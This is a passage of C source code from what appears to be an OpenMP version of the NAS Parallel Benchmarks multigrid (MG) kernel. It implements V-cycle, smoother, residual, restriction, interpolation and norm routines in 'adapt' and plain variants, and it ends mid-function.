static void mg3P_adapt(double ****u, double ***v, double ****r, double a[4],
double c[4], int n1, int n2, int n3, int k) {
/*--------------------------------------------------------------------
c-------------------------------------------------------------------*/
/*--------------------------------------------------------------------
c multigrid V-cycle routine
c-------------------------------------------------------------------*/
int j;
/*--------------------------------------------------------------------
c down cycle.
c restrict the residual from the fine grid to the coarse
c-------------------------------------------------------------------*/
for (k = lt; k >= lb+1; k--) {
j = k-1;
rprj3_adapt(r[k], m1[k], m2[k], m3[k],
r[j], m1[j], m2[j], m3[j], k);
}
k = lb;
/*--------------------------------------------------------------------
c compute an approximate solution on the coarsest grid
c-------------------------------------------------------------------*/
zero3_adapt(u[k], m1[k], m2[k], m3[k]);
psinv_adapt(r[k], u[k], m1[k], m2[k], m3[k], c, k);
for (k = lb+1; k <= lt-1; k++) {
j = k-1;
/*--------------------------------------------------------------------
c prolongate from level k-1 to k
c-------------------------------------------------------------------*/
zero3_adapt(u[k], m1[k], m2[k], m3[k]);
interp_adapt(u[j], m1[j], m2[j], m3[j],
u[k], m1[k], m2[k], m3[k], k);
/*--------------------------------------------------------------------
c compute residual for level k
c-------------------------------------------------------------------*/
resid_adapt(u[k], r[k], r[k], m1[k], m2[k], m3[k], a, k);
/*--------------------------------------------------------------------
c apply smoother
c-------------------------------------------------------------------*/
psinv_adapt(r[k], u[k], m1[k], m2[k], m3[k], c, k);
}
j = lt - 1;
k = lt;
interp_adapt(u[j], m1[j], m2[j], m3[j], u[lt], n1, n2, n3, k);
resid_adapt(u[lt], v, r[lt], n1, n2, n3, a, k);
psinv_adapt(r[lt], u[lt], n1, n2, n3, c, k);
}
static void mg3P(double ****u, double ***v, double ****r, double a[4],
double c[4], int n1, int n2, int n3, int k) {
/*--------------------------------------------------------------------
c-------------------------------------------------------------------*/
/*--------------------------------------------------------------------
c multigrid V-cycle routine
c-------------------------------------------------------------------*/
int j;
/*--------------------------------------------------------------------
c down cycle.
c restrict the residual from the fine grid to the coarse
c-------------------------------------------------------------------*/
for (k = lt; k >= lb+1; k--) {
j = k-1;
rprj3(r[k], m1[k], m2[k], m3[k],
r[j], m1[j], m2[j], m3[j], k);
}
k = lb;
/*--------------------------------------------------------------------
c compute an approximate solution on the coarsest grid
c-------------------------------------------------------------------*/
zero3(u[k], m1[k], m2[k], m3[k]);
psinv(r[k], u[k], m1[k], m2[k], m3[k], c, k);
for (k = lb+1; k <= lt-1; k++) {
j = k-1;
/*--------------------------------------------------------------------
c prolongate from level k-1 to k
c-------------------------------------------------------------------*/
zero3(u[k], m1[k], m2[k], m3[k]);
interp(u[j], m1[j], m2[j], m3[j],
u[k], m1[k], m2[k], m3[k], k);
/*--------------------------------------------------------------------
c compute residual for level k
c-------------------------------------------------------------------*/
resid(u[k], r[k], r[k], m1[k], m2[k], m3[k], a, k);
/*--------------------------------------------------------------------
c apply smoother
c-------------------------------------------------------------------*/
psinv(r[k], u[k], m1[k], m2[k], m3[k], c, k);
}
j = lt - 1;
k = lt;
interp(u[j], m1[j], m2[j], m3[j], u[lt], n1, n2, n3, k);
resid(u[lt], v, r[lt], n1, n2, n3, a, k);
psinv(r[lt], u[lt], n1, n2, n3, c, k);
}
/* similar to stencil computation */
static void psinv_adapt( double ***r, double ***u, int n1, int n2, int n3,
double c[4], int k) {
//turn off MAX_NUM_THREADS - (n3-2) cores here
//#pragma thrifty turn_off (core, MAX_NUM_THREADS - (n3-2) )
#pragma omp parallel num_threads(min(n3 -2,MAX_NUM_THREADS ))
{
int i3, i2, i1;
double r1[M], r2[M];
#pragma omp for
for (i3 = 1; i3 < n3-1; i3++) {
for (i2 = 1; i2 < n2-1; i2++) {
for (i1 = 0; i1 < n1; i1++) {
r1[i1] = r[i3][i2-1][i1] + r[i3][i2+1][i1]
+ r[i3-1][i2][i1] + r[i3+1][i2][i1];
r2[i1] = r[i3-1][i2-1][i1] + r[i3-1][i2+1][i1]
+ r[i3+1][i2-1][i1] + r[i3+1][i2+1][i1];
}
for (i1 = 1; i1 < n1-1; i1++) {
u[i3][i2][i1] = u[i3][i2][i1]
+ c[0] * r[i3][i2][i1]
+ c[1] * ( r[i3][i2][i1-1] + r[i3][i2][i1+1]
+ r1[i1] )
+ c[2] * ( r2[i1] + r1[i1-1] + r1[i1+1] );
/*--------------------------------------------------------------------
c Assume c(3) = 0 (Enable line below if c(3) not= 0)
c---------------------------------------------------------------------
c > + c(3) * ( r2(i1-1) + r2(i1+1) )
c-------------------------------------------------------------------*/
}
}
}
/*--------------------------------------------------------------------
c exchange boundary points
c-------------------------------------------------------------------*/
comm3(u,n1,n2,n3,k);
if (debug_vec[0] >= 1 ) {
#pragma omp single
rep_nrm(u,n1,n2,n3," psinv",k);
}
if ( debug_vec[3] >= k ) {
#pragma omp single
showall(u,n1,n2,n3);
}
}
//pragma thrifty turn_on (core, all) // restore all cores
}
/*--------------------------------------------------------------------
c-------------------------------------------------------------------*/
/* similar to stencil computation */
static void psinv( double ***r, double ***u, int n1, int n2, int n3,
double c[4], int k) {
/*--------------------------------------------------------------------
c psinv applies an approximate inverse as smoother: u = u + Cr
c
c This implementation costs 15A + 4M per result, where
c A and M denote the costs of Addition and Multiplication.
c Presuming coefficient c(3) is zero (the NPB assumes this,
c but it is thus not a general case), 2A + 1M may be eliminated,
c resulting in 13A + 3M.
c Note that this vectorizes, and is also fine for cache
c based machines.
c-------------------------------------------------------------------*/
int i3, i2, i1;
double r1[M], r2[M];
#pragma omp for
for (i3 = 1; i3 < n3-1; i3++) {
for (i2 = 1; i2 < n2-1; i2++) {
for (i1 = 0; i1 < n1; i1++) {
r1[i1] = r[i3][i2-1][i1] + r[i3][i2+1][i1]
+ r[i3-1][i2][i1] + r[i3+1][i2][i1];
r2[i1] = r[i3-1][i2-1][i1] + r[i3-1][i2+1][i1]
+ r[i3+1][i2-1][i1] + r[i3+1][i2+1][i1];
}
for (i1 = 1; i1 < n1-1; i1++) {
u[i3][i2][i1] = u[i3][i2][i1]
+ c[0] * r[i3][i2][i1]
+ c[1] * ( r[i3][i2][i1-1] + r[i3][i2][i1+1]
+ r1[i1] )
+ c[2] * ( r2[i1] + r1[i1-1] + r1[i1+1] );
/*--------------------------------------------------------------------
c Assume c(3) = 0 (Enable line below if c(3) not= 0)
c---------------------------------------------------------------------
c > + c(3) * ( r2(i1-1) + r2(i1+1) )
c-------------------------------------------------------------------*/
}
}
}
/*--------------------------------------------------------------------
c exchange boundary points
c-------------------------------------------------------------------*/
comm3(u,n1,n2,n3,k);
if (debug_vec[0] >= 1 ) {
#pragma omp single
rep_nrm(u,n1,n2,n3," psinv",k);
}
if ( debug_vec[3] >= k ) {
#pragma omp single
showall(u,n1,n2,n3);
}
}
/*--------------------------------------------------------------------
c-------------------------------------------------------------------*/
static void resid_adapt( double ***u, double ***v, double ***r,
int n1, int n2, int n3, double a[4], int k ) {
/*--------------------------------------------------------------------
c-------------------------------------------------------------------*/
/*--------------------------------------------------------------------
c resid computes the residual: r = v - Au
c
c This implementation costs 15A + 4M per result, where
c A and M denote the costs of Addition (or Subtraction) and
c Multiplication, respectively.
c Presuming coefficient a(1) is zero (the NPB assumes this,
c but it is thus not a general case), 3A + 1M may be eliminated,
c resulting in 12A + 3M.
c Note that this vectorizes, and is also fine for cache
c based machines.
c-------------------------------------------------------------------*/
//#pragma thrifty turn_off (core, MAX_NUM_THREADS - (n3-2) )
#pragma omp parallel num_threads(min (n3-2, MAX_NUM_THREADS))
{
int i3, i2, i1;
double u1[M], u2[M];
#pragma omp for
for (i3 = 1; i3 < n3-1; i3++) {
for (i2 = 1; i2 < n2-1; i2++) {
for (i1 = 0; i1 < n1; i1++) {
u1[i1] = u[i3][i2-1][i1] + u[i3][i2+1][i1]
+ u[i3-1][i2][i1] + u[i3+1][i2][i1];
u2[i1] = u[i3-1][i2-1][i1] + u[i3-1][i2+1][i1]
+ u[i3+1][i2-1][i1] + u[i3+1][i2+1][i1];
}
for (i1 = 1; i1 < n1-1; i1++) {
r[i3][i2][i1] = v[i3][i2][i1]
- a[0] * u[i3][i2][i1]
/*--------------------------------------------------------------------
c Assume a(1) = 0 (Enable 2 lines below if a(1) not= 0)
c---------------------------------------------------------------------
c > - a(1) * ( u(i1-1,i2,i3) + u(i1+1,i2,i3)
c > + u1(i1) )
c-------------------------------------------------------------------*/
- a[2] * ( u2[i1] + u1[i1-1] + u1[i1+1] )
- a[3] * ( u2[i1-1] + u2[i1+1] );
}
}
}
/*--------------------------------------------------------------------
c exchange boundary data
c--------------------------------------------------------------------*/
comm3(r,n1,n2,n3,k);
if (debug_vec[0] >= 1 ) {
#pragma omp single
rep_nrm(r,n1,n2,n3," resid",k);
}
if ( debug_vec[2] >= k ) {
#pragma omp single
showall(r,n1,n2,n3);
}
} // end parallel region
//pragma thrifty turn_on (core, all) // restore all cores
}
static void resid( double ***u, double ***v, double ***r,
int n1, int n2, int n3, double a[4], int k ) {
/*--------------------------------------------------------------------
c-------------------------------------------------------------------*/
/*--------------------------------------------------------------------
c resid computes the residual: r = v - Au
c
c This implementation costs 15A + 4M per result, where
c A and M denote the costs of Addition (or Subtraction) and
c Multiplication, respectively.
c Presuming coefficient a(1) is zero (the NPB assumes this,
c but it is thus not a general case), 3A + 1M may be eliminated,
c resulting in 12A + 3M.
c Note that this vectorizes, and is also fine for cache
c based machines.
c-------------------------------------------------------------------*/
int i3, i2, i1;
double u1[M], u2[M];
#pragma omp for
for (i3 = 1; i3 < n3-1; i3++) {
for (i2 = 1; i2 < n2-1; i2++) {
for (i1 = 0; i1 < n1; i1++) {
u1[i1] = u[i3][i2-1][i1] + u[i3][i2+1][i1]
+ u[i3-1][i2][i1] + u[i3+1][i2][i1];
u2[i1] = u[i3-1][i2-1][i1] + u[i3-1][i2+1][i1]
+ u[i3+1][i2-1][i1] + u[i3+1][i2+1][i1];
}
for (i1 = 1; i1 < n1-1; i1++) {
r[i3][i2][i1] = v[i3][i2][i1]
- a[0] * u[i3][i2][i1]
/*--------------------------------------------------------------------
c Assume a(1) = 0 (Enable 2 lines below if a(1) not= 0)
c---------------------------------------------------------------------
c > - a(1) * ( u(i1-1,i2,i3) + u(i1+1,i2,i3)
c > + u1(i1) )
c-------------------------------------------------------------------*/
- a[2] * ( u2[i1] + u1[i1-1] + u1[i1+1] )
- a[3] * ( u2[i1-1] + u2[i1+1] );
}
}
}
/*--------------------------------------------------------------------
c exchange boundary data
c--------------------------------------------------------------------*/
comm3(r,n1,n2,n3,k);
if (debug_vec[0] >= 1 ) {
#pragma omp single
rep_nrm(r,n1,n2,n3," resid",k);
}
if ( debug_vec[2] >= k ) {
#pragma omp single
showall(r,n1,n2,n3);
}
}
/*--------------------------------------------------------------------
c-------------------------------------------------------------------*/
static void rprj3_adapt( double ***r, int m1k, int m2k, int m3k,
double ***s, int m1j, int m2j, int m3j, int k ) {
/*--------------------------------------------------------------------
c-------------------------------------------------------------------*/
/*--------------------------------------------------------------------
c rprj3 projects onto the next coarser grid,
c using a trilinear Finite Element projection: s = r' = P r
c
c This implementation costs 20A + 4M per result, where
c A and M denote the costs of Addition and Multiplication.
c Note that this vectorizes, and is also fine for cache
c based machines.
c-------------------------------------------------------------------*/
#pragma omp parallel
{
int j3, j2, j1, i3, i2, i1, d1, d2, d3;
double x1[M], y1[M], x2, y2;
if (m1k == 3) {
d1 = 2;
} else {
d1 = 1;
}
if (m2k == 3) {
d2 = 2;
} else {
d2 = 1;
}
if (m3k == 3) {
d3 = 2;
} else {
d3 = 1;
}
#pragma omp for
for (j3 = 1; j3 < m3j-1; j3++) {
i3 = 2*j3-d3;
/*C i3 = 2*j3-1*/
for (j2 = 1; j2 < m2j-1; j2++) {
i2 = 2*j2-d2;
/*C i2 = 2*j2-1*/
for (j1 = 1; j1 < m1j; j1++) {
i1 = 2*j1-d1;
/*C i1 = 2*j1-1*/
x1[i1] = r[i3+1][i2][i1] + r[i3+1][i2+2][i1]
+ r[i3][i2+1][i1] + r[i3+2][i2+1][i1];
y1[i1] = r[i3][i2][i1] + r[i3+2][i2][i1]
+ r[i3][i2+2][i1] + r[i3+2][i2+2][i1];
}
for (j1 = 1; j1 < m1j-1; j1++) {
i1 = 2*j1-d1;
/*C i1 = 2*j1-1*/
y2 = r[i3][i2][i1+1] + r[i3+2][i2][i1+1]
+ r[i3][i2+2][i1+1] + r[i3+2][i2+2][i1+1];
x2 = r[i3+1][i2][i1+1] + r[i3+1][i2+2][i1+1]
+ r[i3][i2+1][i1+1] + r[i3+2][i2+1][i1+1];
s[j3][j2][j1] =
0.5 * r[i3+1][i2+1][i1+1]
+ 0.25 * ( r[i3+1][i2+1][i1] + r[i3+1][i2+1][i1+2] + x2)
+ 0.125 * ( x1[i1] + x1[i1+2] + y2)
+ 0.0625 * ( y1[i1] + y1[i1+2] );
}
}
}
comm3(s,m1j,m2j,m3j,k-1);
if (debug_vec[0] >= 1 ) {
#pragma omp single
rep_nrm(s,m1j,m2j,m3j," rprj3",k-1);
}
if (debug_vec[4] >= k ) {
#pragma omp single
showall(s,m1j,m2j,m3j);
}
}
}
static void rprj3( double ***r, int m1k, int m2k, int m3k,
double ***s, int m1j, int m2j, int m3j, int k ) {
/*--------------------------------------------------------------------
c-------------------------------------------------------------------*/
/*--------------------------------------------------------------------
c rprj3 projects onto the next coarser grid,
c using a trilinear Finite Element projection: s = r' = P r
c
c This implementation costs 20A + 4M per result, where
c A and M denote the costs of Addition and Multiplication.
c Note that this vectorizes, and is also fine for cache
c based machines.
c-------------------------------------------------------------------*/
int j3, j2, j1, i3, i2, i1, d1, d2, d3;
double x1[M], y1[M], x2, y2;
if (m1k == 3) {
d1 = 2;
} else {
d1 = 1;
}
if (m2k == 3) {
d2 = 2;
} else {
d2 = 1;
}
if (m3k == 3) {
d3 = 2;
} else {
d3 = 1;
}
#pragma omp for
for (j3 = 1; j3 < m3j-1; j3++) {
i3 = 2*j3-d3;
/*C i3 = 2*j3-1*/
for (j2 = 1; j2 < m2j-1; j2++) {
i2 = 2*j2-d2;
/*C i2 = 2*j2-1*/
for (j1 = 1; j1 < m1j; j1++) {
i1 = 2*j1-d1;
/*C i1 = 2*j1-1*/
x1[i1] = r[i3+1][i2][i1] + r[i3+1][i2+2][i1]
+ r[i3][i2+1][i1] + r[i3+2][i2+1][i1];
y1[i1] = r[i3][i2][i1] + r[i3+2][i2][i1]
+ r[i3][i2+2][i1] + r[i3+2][i2+2][i1];
}
for (j1 = 1; j1 < m1j-1; j1++) {
i1 = 2*j1-d1;
/*C i1 = 2*j1-1*/
y2 = r[i3][i2][i1+1] + r[i3+2][i2][i1+1]
+ r[i3][i2+2][i1+1] + r[i3+2][i2+2][i1+1];
x2 = r[i3+1][i2][i1+1] + r[i3+1][i2+2][i1+1]
+ r[i3][i2+1][i1+1] + r[i3+2][i2+1][i1+1];
s[j3][j2][j1] =
0.5 * r[i3+1][i2+1][i1+1]
+ 0.25 * ( r[i3+1][i2+1][i1] + r[i3+1][i2+1][i1+2] + x2)
+ 0.125 * ( x1[i1] + x1[i1+2] + y2)
+ 0.0625 * ( y1[i1] + y1[i1+2] );
}
}
}
comm3(s,m1j,m2j,m3j,k-1);
if (debug_vec[0] >= 1 ) {
#pragma omp single
rep_nrm(s,m1j,m2j,m3j," rprj3",k-1);
}
if (debug_vec[4] >= k ) {
#pragma omp single
showall(s,m1j,m2j,m3j);
}
}
static void interp_adapt( double ***z, int mm1, int mm2, int mm3,
double ***u, int n1, int n2, int n3, int k ) {
/*--------------------------------------------------------------------
c-------------------------------------------------------------------*/
/*--------------------------------------------------------------------
c interp adds the trilinear interpolation of the correction
c from the coarser grid to the current approximation: u = u + Qu'
c
c Observe that this implementation costs 16A + 4M, where
c A and M denote the costs of Addition and Multiplication.
c Note that this vectorizes, and is also fine for cache
c based machines. Vector machines may get slightly better
c performance however, with 8 separate "do i1" loops, rather than 4.
c-------------------------------------------------------------------*/
#pragma omp parallel
{
int i3, i2, i1, d1, d2, d3, t1, t2, t3;
/*
c note that m = 1037 in globals.h but for this only need to be
c 535 to handle up to 1024^3
c integer m
c parameter( m=535 )
*/
double z1[M], z2[M], z3[M];
if ( n1 != 3 && n2 != 3 && n3 != 3 ) {
#pragma omp for
for (i3 = 0; i3 < mm3-1; i3++) {
for (i2 = 0; i2 < mm2-1; i2++) {
for (i1 = 0; i1 < mm1; i1++) {
z1[i1] = z[i3][i2+1][i1] + z[i3][i2][i1];
z2[i1] = z[i3+1][i2][i1] + z[i3][i2][i1];
z3[i1] = z[i3+1][i2+1][i1] + z[i3+1][i2][i1] + z1[i1];
}
for (i1 = 0; i1 < mm1-1; i1++) {
u[2*i3][2*i2][2*i1] = u[2*i3][2*i2][2*i1]
+z[i3][i2][i1];
u[2*i3][2*i2][2*i1+1] = u[2*i3][2*i2][2*i1+1]
+0.5*(z[i3][i2][i1+1]+z[i3][i2][i1]);
}
for (i1 = 0; i1 < mm1-1; i1++) {
u[2*i3][2*i2+1][2*i1] = u[2*i3][2*i2+1][2*i1]
+0.5 * z1[i1];
u[2*i3][2*i2+1][2*i1+1] = u[2*i3][2*i2+1][2*i1+1]
+0.25*( z1[i1] + z1[i1+1] );
}
for (i1 = 0; i1 < mm1-1; i1++) {
u[2*i3+1][2*i2][2*i1] = u[2*i3+1][2*i2][2*i1]
+0.5 * z2[i1];
u[2*i3+1][2*i2][2*i1+1] = u[2*i3+1][2*i2][2*i1+1]
+0.25*( z2[i1] + z2[i1+1] );
}
for (i1 = 0; i1 < mm1-1; i1++) {
u[2*i3+1][2*i2+1][2*i1] = u[2*i3+1][2*i2+1][2*i1]
+0.25* z3[i1];
u[2*i3+1][2*i2+1][2*i1+1] = u[2*i3+1][2*i2+1][2*i1+1]
+0.125*( z3[i1] + z3[i1+1] );
}
}
}
} else {
if (n1 == 3) {
d1 = 2;
t1 = 1;
} else {
d1 = 1;
t1 = 0;
}
if (n2 == 3) {
d2 = 2;
t2 = 1;
} else {
d2 = 1;
t2 = 0;
}
if (n3 == 3) {
d3 = 2;
t3 = 1;
} else {
d3 = 1;
t3 = 0;
}
#pragma omp for
for ( i3 = d3; i3 <= mm3-1; i3++) {
for ( i2 = d2; i2 <= mm2-1; i2++) {
for ( i1 = d1; i1 <= mm1-1; i1++) {
u[2*i3-d3-1][2*i2-d2-1][2*i1-d1-1] =
u[2*i3-d3-1][2*i2-d2-1][2*i1-d1-1]
+z[i3-1][i2-1][i1-1];
}
for ( i1 = 1; i1 <= mm1-1; i1++) {
u[2*i3-d3-1][2*i2-d2-1][2*i1-t1-1] =
u[2*i3-d3-1][2*i2-d2-1][2*i1-t1-1]
+0.5*(z[i3-1][i2-1][i1]+z[i3-1][i2-1][i1-1]);
}
}
for ( i2 = 1; i2 <= mm2-1; i2++) {
for ( i1 = d1; i1 <= mm1-1; i1++) {
u[2*i3-d3-1][2*i2-t2-1][2*i1-d1-1] =
u[2*i3-d3-1][2*i2-t2-1][2*i1-d1-1]
+0.5*(z[i3-1][i2][i1-1]+z[i3-1][i2-1][i1-1]);
}
for ( i1 = 1; i1 <= mm1-1; i1++) {
u[2*i3-d3-1][2*i2-t2-1][2*i1-t1-1] =
u[2*i3-d3-1][2*i2-t2-1][2*i1-t1-1]
+0.25*(z[i3-1][i2][i1]+z[i3-1][i2-1][i1]
+z[i3-1][i2][i1-1]+z[i3-1][i2-1][i1-1]);
}
}
}
#pragma omp for
for ( i3 = 1; i3 <= mm3-1; i3++) {
for ( i2 = d2; i2 <= mm2-1; i2++) {
for ( i1 = d1; i1 <= mm1-1; i1++) {
u[2*i3-t3-1][2*i2-d2-1][2*i1-d1-1] =
u[2*i3-t3-1][2*i2-d2-1][2*i1-d1-1]
+0.5*(z[i3][i2-1][i1-1]+z[i3-1][i2-1][i1-1]);
}
for ( i1 = 1; i1 <= mm1-1; i1++) {
u[2*i3-t3-1][2*i2-d2-1][2*i1-t1-1] =
u[2*i3-t3-1][2*i2-d2-1][2*i1-t1-1]
+0.25*(z[i3][i2-1][i1]+z[i3][i2-1][i1-1]
+z[i3-1][i2-1][i1]+z[i3-1][i2-1][i1-1]);
}
}
for ( i2 = 1; i2 <= mm2-1; i2++) {
for ( i1 = d1; i1 <= mm1-1; i1++) {
u[2*i3-t3-1][2*i2-t2-1][2*i1-d1-1] =
u[2*i3-t3-1][2*i2-t2-1][2*i1-d1-1]
+0.25*(z[i3][i2][i1-1]+z[i3][i2-1][i1-1]
+z[i3-1][i2][i1-1]+z[i3-1][i2-1][i1-1]);
}
for ( i1 = 1; i1 <= mm1-1; i1++) {
u[2*i3-t3-1][2*i2-t2-1][2*i1-t1-1] =
u[2*i3-t3-1][2*i2-t2-1][2*i1-t1-1]
+0.125*(z[i3][i2][i1]+z[i3][i2-1][i1]
+z[i3][i2][i1-1]+z[i3][i2-1][i1-1]
+z[i3-1][i2][i1]+z[i3-1][i2-1][i1]
+z[i3-1][i2][i1-1]+z[i3-1][i2-1][i1-1]);
}
}
}
}
#pragma omp single
{
if (debug_vec[0] >= 1 ) {
rep_nrm(z,mm1,mm2,mm3,"z: inter",k-1);
rep_nrm(u,n1,n2,n3,"u: inter",k);
}
if ( debug_vec[5] >= k ) {
showall(z,mm1,mm2,mm3);
showall(u,n1,n2,n3);
}
} /* pragma omp single */
}
}
static void interp( double ***z, int mm1, int mm2, int mm3,
double ***u, int n1, int n2, int n3, int k ) {
/*--------------------------------------------------------------------
c-------------------------------------------------------------------*/
/*--------------------------------------------------------------------
c interp adds the trilinear interpolation of the correction
c from the coarser grid to the current approximation: u = u + Qu'
c
c Observe that this implementation costs 16A + 4M, where
c A and M denote the costs of Addition and Multiplication.
c Note that this vectorizes, and is also fine for cache
c based machines. Vector machines may get slightly better
c performance however, with 8 separate "do i1" loops, rather than 4.
c-------------------------------------------------------------------*/
int i3, i2, i1, d1, d2, d3, t1, t2, t3;
/*
c note that m = 1037 in globals.h but for this only need to be
c 535 to handle up to 1024^3
c integer m
c parameter( m=535 )
*/
double z1[M], z2[M], z3[M];
if ( n1 != 3 && n2 != 3 && n3 != 3 ) {
#pragma omp for
for (i3 = 0; i3 < mm3-1; i3++) {
for (i2 = 0; i2 < mm2-1; i2++) {
for (i1 = 0; i1 < mm1; i1++) {
z1[i1] = z[i3][i2+1][i1] + z[i3][i2][i1];
z2[i1] = z[i3+1][i2][i1] + z[i3][i2][i1];
z3[i1] = z[i3+1][i2+1][i1] + z[i3+1][i2][i1] + z1[i1];
}
for (i1 = 0; i1 < mm1-1; i1++) {
u[2*i3][2*i2][2*i1] = u[2*i3][2*i2][2*i1]
+z[i3][i2][i1];
u[2*i3][2*i2][2*i1+1] = u[2*i3][2*i2][2*i1+1]
+0.5*(z[i3][i2][i1+1]+z[i3][i2][i1]);
}
for (i1 = 0; i1 < mm1-1; i1++) {
u[2*i3][2*i2+1][2*i1] = u[2*i3][2*i2+1][2*i1]
+0.5 * z1[i1];
u[2*i3][2*i2+1][2*i1+1] = u[2*i3][2*i2+1][2*i1+1]
+0.25*( z1[i1] + z1[i1+1] );
}
for (i1 = 0; i1 < mm1-1; i1++) {
u[2*i3+1][2*i2][2*i1] = u[2*i3+1][2*i2][2*i1]
+0.5 * z2[i1];
u[2*i3+1][2*i2][2*i1+1] = u[2*i3+1][2*i2][2*i1+1]
+0.25*( z2[i1] + z2[i1+1] );
}
for (i1 = 0; i1 < mm1-1; i1++) {
u[2*i3+1][2*i2+1][2*i1] = u[2*i3+1][2*i2+1][2*i1]
+0.25* z3[i1];
u[2*i3+1][2*i2+1][2*i1+1] = u[2*i3+1][2*i2+1][2*i1+1]
+0.125*( z3[i1] + z3[i1+1] );
}
}
}
} else {
if (n1 == 3) {
d1 = 2;
t1 = 1;
} else {
d1 = 1;
t1 = 0;
}
if (n2 == 3) {
d2 = 2;
t2 = 1;
} else {
d2 = 1;
t2 = 0;
}
if (n3 == 3) {
d3 = 2;
t3 = 1;
} else {
d3 = 1;
t3 = 0;
}
#pragma omp for
for ( i3 = d3; i3 <= mm3-1; i3++) {
for ( i2 = d2; i2 <= mm2-1; i2++) {
for ( i1 = d1; i1 <= mm1-1; i1++) {
u[2*i3-d3-1][2*i2-d2-1][2*i1-d1-1] =
u[2*i3-d3-1][2*i2-d2-1][2*i1-d1-1]
+z[i3-1][i2-1][i1-1];
}
for ( i1 = 1; i1 <= mm1-1; i1++) {
u[2*i3-d3-1][2*i2-d2-1][2*i1-t1-1] =
u[2*i3-d3-1][2*i2-d2-1][2*i1-t1-1]
+0.5*(z[i3-1][i2-1][i1]+z[i3-1][i2-1][i1-1]);
}
}
for ( i2 = 1; i2 <= mm2-1; i2++) {
for ( i1 = d1; i1 <= mm1-1; i1++) {
u[2*i3-d3-1][2*i2-t2-1][2*i1-d1-1] =
u[2*i3-d3-1][2*i2-t2-1][2*i1-d1-1]
+0.5*(z[i3-1][i2][i1-1]+z[i3-1][i2-1][i1-1]);
}
for ( i1 = 1; i1 <= mm1-1; i1++) {
u[2*i3-d3-1][2*i2-t2-1][2*i1-t1-1] =
u[2*i3-d3-1][2*i2-t2-1][2*i1-t1-1]
+0.25*(z[i3-1][i2][i1]+z[i3-1][i2-1][i1]
+z[i3-1][i2][i1-1]+z[i3-1][i2-1][i1-1]);
}
}
}
#pragma omp for
for ( i3 = 1; i3 <= mm3-1; i3++) {
for ( i2 = d2; i2 <= mm2-1; i2++) {
for ( i1 = d1; i1 <= mm1-1; i1++) {
u[2*i3-t3-1][2*i2-d2-1][2*i1-d1-1] =
u[2*i3-t3-1][2*i2-d2-1][2*i1-d1-1]
+0.5*(z[i3][i2-1][i1-1]+z[i3-1][i2-1][i1-1]);
}
for ( i1 = 1; i1 <= mm1-1; i1++) {
u[2*i3-t3-1][2*i2-d2-1][2*i1-t1-1] =
u[2*i3-t3-1][2*i2-d2-1][2*i1-t1-1]
+0.25*(z[i3][i2-1][i1]+z[i3][i2-1][i1-1]
+z[i3-1][i2-1][i1]+z[i3-1][i2-1][i1-1]);
}
}
for ( i2 = 1; i2 <= mm2-1; i2++) {
for ( i1 = d1; i1 <= mm1-1; i1++) {
u[2*i3-t3-1][2*i2-t2-1][2*i1-d1-1] =
u[2*i3-t3-1][2*i2-t2-1][2*i1-d1-1]
+0.25*(z[i3][i2][i1-1]+z[i3][i2-1][i1-1]
+z[i3-1][i2][i1-1]+z[i3-1][i2-1][i1-1]);
}
for ( i1 = 1; i1 <= mm1-1; i1++) {
u[2*i3-t3-1][2*i2-t2-1][2*i1-t1-1] =
u[2*i3-t3-1][2*i2-t2-1][2*i1-t1-1]
+0.125*(z[i3][i2][i1]+z[i3][i2-1][i1]
+z[i3][i2][i1-1]+z[i3][i2-1][i1-1]
+z[i3-1][i2][i1]+z[i3-1][i2-1][i1]
+z[i3-1][i2][i1-1]+z[i3-1][i2-1][i1-1]);
}
}
}
}
#pragma omp single
{
if (debug_vec[0] >= 1 ) {
rep_nrm(z,mm1,mm2,mm3,"z: inter",k-1);
rep_nrm(u,n1,n2,n3,"u: inter",k);
}
if ( debug_vec[5] >= k ) {
showall(z,mm1,mm2,mm3);
showall(u,n1,n2,n3);
}
} /* pragma omp single */
}
/*--------------------------------------------------------------------
c-------------------------------------------------------------------*/
static void norm2u3_adapt(double ***r, int n1, int n2, int n3,
double *rnm2, double *rnmu, int nx, int ny, int nz)
{
/*--------------------------------------------------------------------
c norm2u3 evaluates approximations to the L2 norm and the
c uniform (or L-infinity or Chebyshev) norm, under the
c assumption that the boundaries are periodic or zero. Add the
c boundaries in with half weight (quarter weight on the edges
c and eighth weight at the corners) for inhomogeneous boundaries.
c-------------------------------------------------------------------*/
#pragma omp parallel
{
static double s = 0.0;
double tmp;
int i3, i2, i1, n;
double p_s = 0.0, p_a = 0.0;
n = nx*ny*nz;
#pragma omp for
for (i3 = 1; i3 < n3-1; i3++) {
for (i2 = 1; i2 < n2-1; i2++) {
for (i1 = 1; i1 < n1-1; i1++) {
p_s = p_s + r[i3][i2][i1] * r[i3][i2][i1];
tmp = fabs(r[i3][i2][i1]);
if (tmp > p_a) p_a = tmp;
}
}
}
#pragma omp critical
{
s += p_s;
if (p_a > *rnmu) *rnmu = p_a;
}
#pragma omp barrier
#pragma omp single
{
*rnm2 = sqrt(s/(double)n);
s = 0.0;
}
}
}
static void norm2u3(double ***r, int n1, int n2, int n3,
double *rnm2, double *rnmu, int nx, int ny, int nz) {
/*--------------------------------------------------------------------
c-------------------------------------------------------------------*/
/*--------------------------------------------------------------------
c norm2u3 evaluates approximations to the L2 norm and the
c uniform (or L-infinity or Chebyshev) norm, under the
c assumption that the boundaries are periodic or zero. Add the
c boundaries in with half weight (quarter weight on the edges
c and eighth weight at the corners) for inhomogeneous boundaries.
c-------------------------------------------------------------------*/
static double s = 0.0;
double tmp;
int i3, i2, i1, n;
double p_s = 0.0, p_a = 0.0;
n = nx*ny*nz;
#pragma omp for
for (i3 = 1; i3 < n3-1; i3++) {
for (i2 = 1; i2 < n2-1; i2++) {
for (i1 = 1; i1 < n1-1; i1++) {
p_s = p_s + r[i3][i2][i1] * r[i3][i2][i1];
tmp = fabs(r[i3][i2][i1]);
if (tmp > p_a) p_a = tmp;
}
}
}
#pragma omp critical
{
s += p_s;
if (p_a > *rnmu) *rnmu = p_a;
}
#pragma omp barrier
#pragma omp single
{
*rnm2 = sqrt(s/(double)n);
s = 0.0;
}
}
/*--------------------------------------------------------------------
c-------------------------------------------------------------------*/
static void rep_nrm(double ***u, int n1, int n2, int n3,
char *title, int kk) {
/*--------------------------------------------------------------------
c-------------------------------------------------------------------*/
/*--------------------------------------------------------------------
c report on norm
c-------------------------------------------------------------------*/
double rnm2, rnmu;
norm2u3(u,n1,n2,n3,&rnm2,&rnmu,nx[kk],ny[kk],nz[kk]);
printf(" Level%2d in %8s: norms =%21.14e%21.14e\n",
